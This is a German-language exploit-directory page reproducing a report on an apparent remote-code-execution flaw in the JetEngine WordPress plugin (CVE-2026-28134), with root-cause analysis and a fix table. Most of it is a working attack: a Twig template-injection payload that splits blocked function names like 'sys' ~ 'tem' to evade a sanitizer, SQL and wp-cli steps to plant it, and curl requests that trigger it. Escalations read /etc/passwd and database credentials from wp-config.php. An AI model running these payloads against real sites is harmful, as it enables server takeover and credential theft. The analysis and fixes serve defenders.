Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Authentifizierte (Contributor+) Remote-Code-Ausführung | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2026-28134
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPayload-Entwicklung
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Authentifizierte (Contributor+) Remote-Code-Ausführung

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-28134 Exploit-Report

JetEngine <= 3.7.2 — Authentifizierte Remote Code Execution (Contributor+) über Twig-SSTI

Datum: 11. März 2026 CVSS-Score: 8.8 (Hoch) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Betroffenes Plugin: JetEngine <= 3.7.2 Plugin-Slug: jet-engine CVE: CVE-2026-28134 Status: Privat Getestete WordPress-Version: Neueste


Zusammenfassung

CVE-2026-28134 ist eine Remote Code Execution-Schwachstelle im JetEngine-WordPress-Plugin, die alle Versionen bis einschließlich 3.7.2 betrifft. Die Schwachstelle ermöglicht es authentifizierten Angreifern mit Contributor-Zugriff oder höher, beliebige Betriebssystembefehle auf dem Server auszuführen, indem sie eine schädliche Twig-Vorlage in einen JetEngine-Listing-Beitrag einschleusen.

Die Angriffskette kombiniert drei Schwachstellen:

  1. Ein nicht authentifizierter AJAX-Dispatcher ohne Nonce- oder Capability-Prüfung, der Listing-Beitragsvorlagen rendert.
  2. Eine Twig/Timber-Rendering-Engine ohne Sandbox — nur ein stringbasierter Blocklist-Sanitizer.
  3. Ein Sanitizer-Bypass mithilfe des Twig-Operators ~ zur String-Verkettung, um blockierte Funktionsnamen über Tokens hinweg aufzuteilen.

✅ SCHWACHSTELLE BESTÄTIGT — Vollständige RCE erreicht

Bestätigter Impact:

  • Beliebige Ausführung von Betriebssystembefehlen als www-data
  • Vollständiger Lesezugriff auf das Dateisystem (/etc/passwd, wp-config.php)
  • Exfiltration von Datenbank-Zugangsdaten

Schwachstellendetails

Technische Zusammenfassung

JetEngine bietet einen auf Twig/Timber basierenden Listing-Ansichtstyp. Wenn die Komponente timber_views aktiviert ist, werden bei Listing-Beiträgen mit _listing_type = twig deren Post-Meta-Daten _jet_engine_listing_html über Timber als Live-Twig-Vorlage gerendert. Die Rendering-Pipeline ist über die nicht authentifizierte AJAX-Aktion wp_ajax_nopriv_jet_engine_ajax erreichbar; es genügt, dass der Angreifer einen JetEngine-Listing-Beitrag erstellen oder ändern kann (mindestens Contributor-Rolle).

Betroffene Komponenten


Angriffskette

Schritt 1 — Nicht authentifizierter AJAX-Dispatcher

ajax-handlers.php registriert die AJAX-Aktion sowohl für authentifizierte als auch für nicht authentifizierte Benutzer:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

Der Handler ruft basierend auf $_REQUEST['handler'] ohne Nonce- oder Capability-Prüfung jede öffentliche Methode der Klasse auf:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Der Aufruf von listing_load_more ist öffentlich zugänglich und löst die Listing-Rendering-Pipeline aus.

Schritt 2 — Twig-Rendering-Pipeline

Die Aufrufkette listing_load_more → get_listing → frontend->get_listing_item erreicht:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Wenn $listing_view = 'twig' ist, löst dies Jet_Engine\Timber_Views\Render::get_listing_content() aus, das die Twig-Vorlage aus dem Meta-Feld _jet_engine_listing_html des Beitrags liest und sie direkt an render_html() übergibt:

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig rendert ohne Sandbox. Der einzige Schutz ist sanitize_twig_content().

Schritt 3 — Sanitizer-Bypass durch String-Verkettung

sanitize_twig_content() entfernt gefährliche PHP-Funktionsnamen mithilfe von Regex-Mustern mit Wortgrenzen und prüft dann, ob die Vorlage verändert wurde:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

Das Muster \bsystem\b passt auf das Literal-Token system. Es passt nicht auf "sys" ~ "tem", da es sich um zwei separate, in Anführungszeichen gesetzte String-Tokens handelt. Twig wertet die Verkettung zur Renderzeit aus und erzeugt "system" nur im Speicher — die Quellvorlage enthält das blockierte Wort nie.

Bypass-Payload:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

Der Sanitizer sieht fn, "sys", ~, "tem", "id" — nichts davon steht auf der Blocklist. Er lässt die Vorlage unverändert durch.

Schritt 4 — Codeausführung über Timbers fn()-Helfer

Timber registriert aufrufbare PHP-Wrapper direkt in der Twig-Umgebung:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} wird zu call_user_func_array("system", ["id"]) aufgelöst — beliebige Ausführung von Betriebssystembefehlen.


Proof of Concept

Voraussetzungen

  1. Der Angreifer hat WordPress-Zugriff auf Contributor-Ebene (oder höher).
  2. Die JetEngine-Komponente timber_views ist aktiviert (JetEngine-Einstellungen > Leistung > Timber/Twig-Ansichten).
  3. Das Timber-Library-Plugin ist installiert und aktiv.

Einrichtung

Erstellen Sie einen JetEngine-Listing-Beitrag, bei dem die schädliche Twig-Vorlage in den Post-Meta-Daten gespeichert ist:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Oder über wp-cli (als Contributor-Benutzer):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Auslösen (nicht authentifiziert)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Ergebnis

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Eskalation — Datei auslesen

Blockierte Zeichenkette passthru, aufgeteilt als "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Vorlage gesetzt auf {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Eskalation — Exfiltration von Zugangsdaten

Vorlage {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Ursachenanalyse

Ursache 1 — Fehlende Authentifizierung bei der AJAX-Aktion

wp_ajax_nopriv_jet_engine_ajax wird für nicht authentifizierte Anfragen ausgelöst. Der Dispatcher handle_ajax() führt vor dem Aufruf von listing_load_more weder eine Nonce-Prüfung noch eine Capability-Prüfung durch. Die Rendering-Pipeline ist daher für jeden nicht authentifizierten Benutzer erreichbar, sobald ein schädliches Listing existiert.

Ursache 2 — Keine Twig-Sandbox

Die offizielle Sandbox-Erweiterung von Twig (\Twig\Sandbox\SecurityPolicy) setzt Allowlists auf Engine-Ebene durch — es ist unmöglich, Funktionen aufzurufen, die nicht ausdrücklich erlaubt sind. JetEngine verwendet createTemplate() ohne Sandbox. Der einzige Schutz ist ein Pre-Render-String-Scan, der leicht umgangen werden kann.

Ursache 3 — Regex-Blocklist unzureichend

Der Blocklist-Ansatz (/\bsystem\b/i) arbeitet auf statischem Vorlagenquelltext. Twigs Verkettungsoperator ~ erzeugt Zeichenketten zur Laufzeit. Jeder blockierte Name kann aufgeteilt werden: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" usw. Eine ordnungsgemäße Sandbox würde den Aufruf ablehnen, unabhängig davon, wie der Funktionsname konstruiert wurde.

Ursache 4 — Timber legt call_user_func_array offen

Die Twig-Helfer fn() und function() von Timber sind vorbehaltlose Brücken zu PHPs call_user_func_array. Es gibt keine Allowlist für aufrufbare Funktionen. Jede PHP-Funktion, die aus dem Webprozess erreichbar ist, kann aufgerufen werden.


Behebung


Zeitleiste

DatumEreignis
2026-03-11Schwachstelle entdeckt und mit vollständigem RCE-PoC bestätigt
2026-03-11Bericht erstellt

Referenzen

  • JetEngine Plugin — Crocoblock
  • Timber/Twig WordPress-Bibliothek
  • Twig-Sandbox-Erweiterung
  • OWASP — Serverseitige Template-Injection
Tool herunterladen
DateiProblem
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registriert — keine Authentifizierung oder Nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — beliebige öffentliche Methode wird aufgerufen
includes/components/timber-views/timber.php:150render_html() rendert eine vom Angreifer kontrollierte Twig-Vorlage ohne Sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — String-Regex-Blocklist, durch Token-Splitting umgangen
timber-library/lib/Twig.php:42-43Timber registriert fn()/function() als Twig-Wrapper für call_user_func_array
FixBeschreibung
Nonce- und Capability-Prüfung zu handle_ajax() hinzufügenFür alle AJAX-Dispatchs die Capability edit_posts und ein gültiges Nonce verlangen
Twig-Sandbox aktivierenString-Blocklist durch \Twig\Sandbox\SecurityPolicy ersetzen — sichere Funktionen und Eigenschaften ausdrücklich auf die Allowlist setzen
Timber-fn()-Helfer einschränkenAufrufbare Funktionsnamen auf eine Allowlist setzen oder fn()/function() aus der Twig-Umgebung für nicht vertrauenswürdige Vorlagen entfernen
Listing-Besitz validierenBestätigen, dass der anfragende Benutzer die Capability edit_post für das Listing besitzt, bevor dessen Vorlage gerendert wird